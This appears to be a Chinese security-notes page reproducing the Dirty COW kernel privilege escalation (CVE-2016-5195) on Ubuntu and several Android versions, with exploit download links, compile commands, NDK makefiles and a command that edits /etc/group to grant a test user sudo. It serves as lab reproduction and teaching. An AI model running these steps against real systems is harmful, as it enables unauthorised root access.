menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right Linux本地提权漏洞 chevron_right (CVE-2016-5195)脏牛Linux 本地提权.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2016-5195)脏牛Linux 本地提权.md
    10.54 KB / 2021-04-21 09:23:46
        # (CVE-2016-5195)脏牛Linux 本地提权.md
    
    编译好的EXP下载地址: https://github.com/Brucetg/DirtyCow-EXP
    
    该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞, 导致可以破坏私有只读内存映射。黑客可以在获取低权限的的本地用户后,利用此漏洞获取 其他只读内存映射的写权限,进一步获取 root 权限。
    
    ## 1.Linux
    
    **Ubuntu 14.04 :**
    
    1)添加用户:
    
    ```
    sudo adduser test 
    ```
    
    输入两次密码后一直回车就行,查看当前用户的信息,终端输入 id,回车,可以看到当 前用户是有 sudo 权限的。
    
    切换到刚刚新建的 test 用户,同样输入 id,查看 test 用户的信息,发现 test 用户没有 sudo 权限,
    
    ![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChB3md.png)
    
    2)运行DirtyCow的exp进行提权:
    
    ```
    git clone https://github.com/dirtycow/dirtycow.github.io
    
    cd dirtycow.github.io
    ```
    
    编译exp:
    
    ```
    gcc dirtyc0w.c -o dirtycow lpthread
    ```
    
    执行exp:
    
    ```
    ./dirtycow /etc/group “$(sed ‘/\(sudo*\)/ s/$/,test/’ /etc/group)”
    ```
    
    ![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChBGTI.png)
    
    新打开一个终端,切换到test,查看test用户信息,可以看到test用户已经拥有了sudo权限,执行sudo su ,输入test用户的密码后就可以切换到root权限,提权成功。
    
    ![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChB6kq.png)
    
    **漏洞成因:**
    
    Linux写时拷贝技术(copy-on-write)
    
    在Linux系统中,fork()会产生一个和父进程完全相同的子进程,但子进程在此后多会exec系统调用,出于效率考虑,Linux系统中引入了“写时复制”技术,也就是只有进程空间的各段的内容要发生变化时,才会将父进程的内容复制一份给子进程。
    
    ## 2.Android:
    
    Linux上编译好的exp在Android平台上不能用,使用NDK编译下载好的exp:
    
    EXP下载地址:
    
    ```
    https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c
    ```
    
    #### 1. ANDROID STUDIO中安装NDK,把CMAKE和LLDB也安装一下:
    
    ![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChBHtx.png)
    
    #### 2. 在 [HTTPS://GITHUB.COM/GOOGLESAMPLES/ANDROID-NDK](https://github.com/googlesamples/android-ndk) 下载源码,导入ANDROID STUDIO
    
    如果导入项目时Android studio好像卡住了一样,有可能是Android Studio在后台正在下载东西,沿着这个路径:项目/gradle/wrapper找到这个文件: gradle-wrapper.properties,打开它看看最后一行的gradle版本,若版本和你现有的版本不一致,可以去http://services.gradle.org/distributions/ 上下载相应的版本,手动拷贝到:
    
    ```
    C:\Users\用户名\.gradle\wrapper\dists\gradle-4.1-all\bzyivzo6n839fup2jbap0tjew   目录下
    ```
    
    **注:**这里的 bzyivzo6n839fup2jbap0tjew 是随机的
    
    将下载好的android-ndk源码解压到某个位置,这里我是解压到了桌面上,所以在我个人的的计算机上android-ndk路径如下:
    
    ```
    C:\Users\wangzt\Desktop\android-ndk
    ```
    
    我们只需要用下面路径中的相应文件即可:
    
    ```
    C:\Users\wangzt\Desktop\android-ndk\hello-jni\app\src\main\
    ```
    
    在main目录下新建文件夹jni,在jni文件夹中新建两个文件:Android.mk 和Application.mk,内容如下:
    
    **Android.mk**
    
    ```
    LOCAL_PATH:= $(call my-dir)
    
    include $(CLEAR_VARS)
    LOCAL_SRC_FILES:= dirtyc0w.c
    LOCAL_MODULE:= dirtycow
    
    LOCAL_FORCE_STATIC_EXECUTABLE := true
    #LOCAL_STATIC_LIBRARIES := libc
    #LOCAL_CFLAGS += -Iinclude/dir -DSOMEFLAGS
    
    include $(BUILD_EXECUTABLE)
    ```
    
    **Application.mk**
    
    ```
    APP_ABI := all
    ```
    
    要编译的文件:
    
    ![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChDF9f.png)
    
    #### 3. 编译EXP:
    
    命令行下cd 到如下目录:
    
    ```
    C:\Users\wangzt\Desktop\android-ndk\hello-jni\app\src\main\jni>
    ```
    
    执行命令:
    
    ```
    D:\AndroidSDK\ndk-bundle\ndk-build
    ```
    
    编译成功后,在main目录下的libs文件夹中即可找到编译好的对应平台的EXP:
    
    ![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChDmHs.png)
    
    编译好的exp:
    
    ![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChDM40.png)
    
    
    
    **Android 4.4**
    
    adb连接手机(手机需开启USB调试):
    
    查看和adb连接的设备:
    
    ![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChDrvD.png)
    
    在/system/bin/目录下新建文件test_dirty_cow,并且将其权限修改为644
    
    ![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChDcbd.png)
    
    将编译好的EXP push到测试机的/data/local/tmp/目录下的dirtycow文件中(这里选用的编译好的POC是armeabi 平台的,arm64-v8a经测试不能使用,可以根据自己用的测试机的架构选择相应的平台):
    
    ![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChDRUI.png)
    
    修改EXP权限:
    
    ![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChD48f.png)
    
    当前用户权限(shell):
    
    ![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChDTKg.png)
    
    切换到root权限,向test_dirty_cow文件中写入 123456,写入之后再切换为普通用户权限(shell),以普通用户权限执行EXP(下同):
    
    /data/local/tmp/dirtycow /system/bin/test_dirty_cow modify
    
    然后查看test_dirty_cow中的内容,发现文件内容已被修改为modify,复现成功:
    
    ![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChDLan.png)
    
    **Android 6.0.1 (安全补丁程序级别: 2017年2月1日)**
    
    测试机系统具体信息:
    
    ![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChDzxU.png)
    
    
    
    
    
    ![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChrpMF.png)
    
    
    
    Android 6.0.1 默认关闭了并隐藏了开发者选项,需要在关于手机里的版本号处连续点击5次版本号才可以启用开发者选项,然后在开发者选项中启用USB调试。
    
    ![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChriZ9.png)
    
    接着我们在 /system/bin 目录下创建一个普通用户没有写权限的文件,因为默认的 /system 目录是只读的,所以需要 remount /system
    
    **注意:**
    
    ```
    mount -o rw,remount /system   
    ```
    
    上述命令中,remount和它前面的逗号之间不要有空格。
    
    接下来的操作步骤和在Android 4.4 系统中差不多:
    
    ![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChrZRK.png)
    
    adb中切换为root权限,将新建的test_dirtycow 文件的权限修改为 644
    
    ![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChrnMD.png)
    
    给EXP可执行权限:
    
    ![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChrKqH.png)
    
    执行EXP 报错:
    
    ![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChrQZd.png)
    
    PIE这个安全机制从4.1引入,但是Android L之前的系统版本并不会去检验可执行文件是否基于PIE编译出的。因此不会报错。但是Android L已经开启验证,如果调用的可执行文件不是基于PIE方式编译的,则无法运行。解决办法非常简单,在Android.mk中加入如下flag即可。
    
    ```
    LOCAL_CFLAGS += -pie -fPIE
    LOCAL_LDFLAGS += -pie -fPIE
    ```
    
    **修改后的Android.mk 文件:**
    
    ```
    LOCAL_PATH:= $(call my-dir)
    
    include $(CLEAR_VARS)
    LOCAL_SRC_FILES:= dirtyc0w.c
    LOCAL_MODULE:= dirtycow
    
    LOCAL_FORCE_STATIC_EXECUTABLE := true
    #LOCAL_STATIC_LIBRARIES := libc
    #LOCAL_CFLAGS += -Iinclude/dir -DSOMEFLAGS
    
    LOCAL_CFLAGS += -pie -fPIE
    LOCAL_LDFLAGS += -pie -fPIE
    
    include $(BUILD_EXECUTABLE)
    ```
    
    **Application.mk**
    
    ```
    APP_ABI := all
    ```
    
    编译EXP:
    
    Windows命令行下进行编译,因为我下载的ndk 存放在D:\AndroidSDK\ndk-bundle文件夹中,所以只需要在命令行下输入如下命令进行编译:
    
    ```
    D:\AndroidSDK\ndk-bundle\ndk-build
    ```
    
    ![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChrYz8.png)
    
    经测试,不能任意修改文件内容:
    
    ![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChrNQS.png)
    
    因为这个Android 6.0的系统安全补丁是2017年2月份的,估计漏洞已经修补好了。
    
    **Android 6.0.1_r68(安全补丁程序级别: 2016年9月6日)**
    
    不多说,一样的操作:
    
    ![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChrwZj.png)
    
    可以看到test_dirtyc0w文件中的内容被修改为 modify,复现成功。
    
    **Android 5.1.1**
    
    复现过程:
    
    用的EXP是测试Android 6.0.1时编译好的,拿来直接用即可。
    
    ![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChrsJ0.png)
    
    在/system/bin目录下新建文件 test_dirty,试了几次没有成功:
    
    ![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/Chr4oR.png)
    
    解决办法:执行
    
    ```
    mount -o rw,remount /system
    ```
    
    并将新建的test_dirty 权限修改为644:
    
    ![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChroJx.png)
    
    向文件test_dirty中写入 123456,执行EXP:
    
    ```
    /data/local/tmp/dirtycow /system/bin/test_dirty modify
    ```
    
    EXP执行一段时间后即可停止,此时再次查看 test_dirty 文件中的内容,发现文件内容已被更改为 modify,复现成功:
    
    ![img](resource/%EF%BC%88CVE-2016-5195%EF%BC%89%E8%84%8F%E7%89%9BLinux%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/media/ChrqyD.png)
    
    > https://forum.90sec.com/t/topic/521
    
    links
    file_download